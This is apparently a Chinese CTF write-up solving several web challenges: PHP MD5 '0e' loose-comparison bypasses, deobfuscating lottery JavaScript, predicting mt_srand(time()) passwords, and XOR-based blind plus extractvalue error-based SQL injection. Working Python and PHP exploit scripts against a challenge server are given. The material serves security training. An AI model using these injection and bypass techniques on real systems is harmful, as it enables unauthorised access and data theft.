最近比較忙,可能補題的速度慢一些些~ 簽到題
首先進入介面發現如下代碼
然後就知道用==弱匹配,構造一個純數字串和一個純字母串,讓他們的MD5值形如0exxx且0e後面全是純數字。就構成科學記號標記法0==0,payload
Username:QNKCDZOpassword:240610708
進去後發現還有一個簡單的繞過
我們看到又是==,有一個參考表,大家一看便知~
post的payload構造如下
message={"key":0}
抽抽獎
看到這題首先想到轉盤模板,應該是js,然後看原始碼的時候發現了jQurey.js這個函數有點特別,因為有一段jother加密的代碼,而且相當大,沒法直接運行。
然後我們在下面可以看到控制轉盤的函數,通過chrome中的console調試可以發現這個可以控制轉盤的方向等等。而其中的jsctf0 還是jsctf1變數也好都是我們可以更改的。
$(_$[0]).rotate({ bind: { click: function() { var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]; jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)]; console.log(jsctf0); if (jsctf0 == 0x0) { timeOut() } else { var jsctf1 = [0x0]; jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)]; if (jsctf1 == 0x1) { rotateFunc(0x1, 0x9d, _$[1]) } ;if (jsctf1 == 0x2) { rotateFunc(0x2, 0xf7, _$[2]) } ;if (jsctf1 == 0x3) { rotateFunc(0x3, 0x16, _$[3]) } ;if (jsctf1 == 0x0) { var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151]; jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)]; rotateFunc(0x0, jsctf2, 0x0) } } } } });
然後我們理所應當的揭秘那個jother加密後的代碼,但是那個玩意兒實在是太大了。大概7000萬位元組,很難弄,但是我們可以利用chrome瀏覽器啊。console是一個很強大開發工具。我們可以輸入指令。比如說如下。。。猜測flag?
瀏覽器已經幫你解決好了,但是這一步多少還是蒙的,其實分析剛剛看的代碼知道調用功能的關鍵函數是rotateFunc函數,那我們在console中看一下rotateFunc函數也能得到關鍵函數getFlag~
得到代碼如下
直接一搞就看到了
(function() {window.getFlag=function(text){ if(text=='1'){ alert("你最厲害啦!可惜沒flag") } if(text=='2'){ alert("你太厲害了,竟然是二等獎") } if(text=='3'){ alert("你好厲害,三等獎啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再來一次吧") } }})
繼續抽
首先還是轉盤,F12開啟源碼,發現當前的代碼存在,整理後的格式為
$(function() { var rotateFunc = function(jsctf0, jsctf1, jsctf2) { $('#lotteryBtn').stopRotate(); $("#lotteryBtn").rotate({ angle: 0x0, duration: 0x1388, animateTo: jsctf1 + 0x5a0, callback: function() { $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) { alert(jsctf3['text']) }, 'json'); $.get('token.php', function(jsctf3) { $("#token").val(jsctf3) }, 'json') } }) }; $("#lotteryBtn").rotate({ bind: { click: function() { var jsctf0 = [0x0]; jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)]; if (jsctf0 == 0x1) { rotateFunc(0x1, 0x9d, '1') } ;if (jsctf0 == 0x2) { rotateFunc(0x2, 0xf7, '2') } ;if (jsctf0 == 0x3) { rotateFunc(0x3, 0x16, '3') } ;if (jsctf0 == 0x0) { var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151]; jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)]; rotateFunc(0x0, jsctf1, '0') } } } })})
我們發現下面還是轉盤的控制函數嘛,但是上面就是get訪問什麼東西,構造就行了,首先我們需要到token.php上面拿到token值放到url中(這裡token測試過不會變)。那麼產生id的值的時候需要一個encode函數,這個是他自己寫的,沒關係我們再用console查詢。
整理後的為
function encode(string) { var output = ''; for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) { charCode = string.charCodeAt(x); if (128 > charCode) { charCode += 128 } else if (127 < charCode) { charCode -= 128 } charCode = 255 - charCode; hexCode = charCode.toString(16); if (2 > hexCode.length) { hexCode = '0' + hexCode } output += hexCode } return output}
簡單的加密格式轉換而已,然後最關鍵的問題來了,rotateFunc函數中的jsctf2變數是轉盤中調用到的函數,代碼中只有0,1,2,3,而且肯定沒答案。我們怎麼知道是什麼呢。指令碼暴力構造。
上面思路理清了代碼就不難寫了
# -- coding:utf-8 --import requestsimport pyqueryimport hashlibcookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'}def encode(string): key="" for i in string: if ord(i)<128: temp=ord(i)+128 elif ord(i)>127: temp=ord(i)-128 hexcode=255-temp hexvalue="" if len(hex(hexcode)[2:])==0: hexvalue+="0" hexvalue+=hex(hexcode)[2:] key+=hexvalue return keys=requests.Session()for num in range(256): url='http://117.34.111.15:81/' token = s.get(url+"token.php",cookies=cookies).text[1:-1] #print token have_encode=encode(hashlib.md5(str(num)).hexdigest()) #print str(have_encode) makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode) #print makeurl html=s.get(makeurl,cookies=cookies).text if 'flag' in html: print html
Wrong
找到這個 .index.php.swp 通過恢複檔案 vim -r index.php 得到下面源碼
<?php error_reporting(0); function create_password($pw_length=10){ $randpwd=""; for($i=0;$i<$pw_length;$i++){ $randpwd.=chr(mt_rand(33,126)); } return $randpwd; }session_start();mt_srand(time());$pwd=create_password();if($pwd==$_GET['pwd']){ if($_SESSION['userLogin'==$_GET[login]]){ echo "Good job, you get the key"; } else { echo "Wrong!"; }}$_SESSION['userLogin']=create_password(32).rand();?>
這個題目還是考察的php魔法,一開始第一反應$pwd==$_GET[‘pwd’]能否構成0==String,但是發現$_GET[]沒法實現整除的傳參。然後就注意到了偽隨機數mt_sand ,只要原生隨機數種子 time() 和伺服器一致,就產生完全一樣的字串。
然後後面的$_SESSION[‘userLogin’]==$_GET[login],可以通過刪除Cookie的方法構造成NULL==NULL(第一次的時候話沒有Session所以為NULL,我們構造userLogin=來構造NULL)
然後寫一下代碼就好了,這裡需要保持本機和伺服器的時間同步。不知道伺服器什麼時間就暴力跑好了~(ps:這個伺服器時間實在是不知道,都試試吧~)
#我過了的代碼如下:<?phprequire_once '/include/Requests-1.7.0/library/Requests.php';Requests::register_autoloader();$url = 'http://117.34.111.15:85/index.php';function create_password($pw_length = 10){ $randpwd = ""; for ($i = 0; $i < $pw_length; $i++){ $randpwd .= chr(mt_rand(33,126)); } return $randpwd;}$headers = array('Cookie' =>"");for($i=-100;$i<=0;$i++){ mt_srand(time()+$i); $pwd = create_password(); $rep = Requests::get($url."?login=&pwd=$pwd"); $content = $rep->body; $pos = strpos($content, "Good job"); if($pos!==false){ echo $content; }}?>
flag{rand_afjk_u8nm_uq2n} so easy!
首先開頭我們得到了源碼。我們看到主要有三個功能
然後我們看到login函數中要admin
然後再看show函數功能,我們可以查詢admin的role角色,如果正常查的話一定是admin is admin!
然後就是漲姿勢的時候了。黑科技用Mysql中的位元運算可以構造注入點。看一下本地的實驗結果
構造username=0’^1^’1
而且我們通過login函數的查詢語句,知道了passwd的位置就在user之下吧。那麼我們看一下過濾函數,什麼都過濾了,但是。沒有過濾ascii、mid、select、from。然後我們可以用()來代替空格
簡單講一下mid這個函數為什麼在過濾了逗號時候可以利用,mid函數的參數是 mid(查詢變數,start,len) ,但是我們可以這樣構造mid(查詢變數 from start),也就是說mid可以控制查詢變數的起點,而ascii這個函數,當查詢的是串的時候後面都會截斷。 下面是本地的實驗
接下來就是盲注了~懂了構造的原理代碼就很簡單了
# -- coding:utf-8 --import requestsurl='http://117.34.111.15:89/?action=show's=requests.Session()passwd=''for l in range(1,32): for c in range(1,133): username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c) data={'username':username,'passwd':123} html=s.post(url,data=data).text if 'admin' in html: passwd+=chr(c) print passwd break
然後我們可以爆出來的passwd答案是
37b1d2f04f594bfffc826fd69e389688
然後不讓我們用admin登陸,怎麼辦呢。utf-8編碼問題繞過,超過可見字元就截斷了。
flag{e4d93a53bbe9a2f9c419086c16439aa7} just a test
不得不說自己的水平還是太低了,一開始實驗的時候連注入點都找不到,本來以為是在什麼地方存在什麼,後面發現了注入點不是別的地方。正是我們的url路徑上。沒想到查詢每一個頁面的時候用的就是mysql的語句,的確是學習了。
然後明顯的感覺就是報錯注入吧,這裡可以用ExtractValue或者UpdateXml函數的經典報錯注入,下面進行一下簡單的嘗試。發現這兩種方法都是可以用的~下面得到當前的資料庫為test1
但是我們想要的內容不一定在test1中,還是需要報資料庫名,發現還有一個test
然後我們需要爆一下表名,因為表的名字比較多,不妨寫個指令碼提取。
# -*- coding:utf-8 -*-import requestsimport timeimport res=requests.Session()for i in range(1,100): url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1))) and '1'='1"%i html=s.get(url).text content=re.findall(r'\'(.*?)\'',html,re.S) print content[0][1:]
然後我們發現了端倪,表fl@g
然後我們再爆列名吧~稍微修改就行
# -*- coding:utf-8 -*-import requestsimport timeimport res=requests.Session()for i in range(1,1000): url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1))) and '1'='1"%i html=s.get(url).text content=re.findall(r'\'(.*?)\'',html,re.S) print content[0][1:]
然後我們能發現ctf中明顯的提示指向…
然後就好辦了,查詢欄位內容即可,但是這裡有個坑點。fl@g這個東西在mysql會把@後面的當成變數。所以我們需要加上“符號
事實證明這個要的flag就是不在test1中
那就是在test中嘍~
但是真的是答案嗎。不是滴,因為ExtractValue或者UpdateXml報錯出來的都只有32位的。具體的恐怕還是要用盲注了。
# -*- coding:utf-8 -*-import requestss=requests.Session()flag='flag{99cd1872c9b26525a8e5ec878d'for i in range(32,50): end=0 for j in range(32,127): url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d and '1'='1"%(i,j) html=s.get(url).text print chr(j) if "404 - Page Not Found" not in html: end=1 flag+=chr(j) print flag break if end==0: break
真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}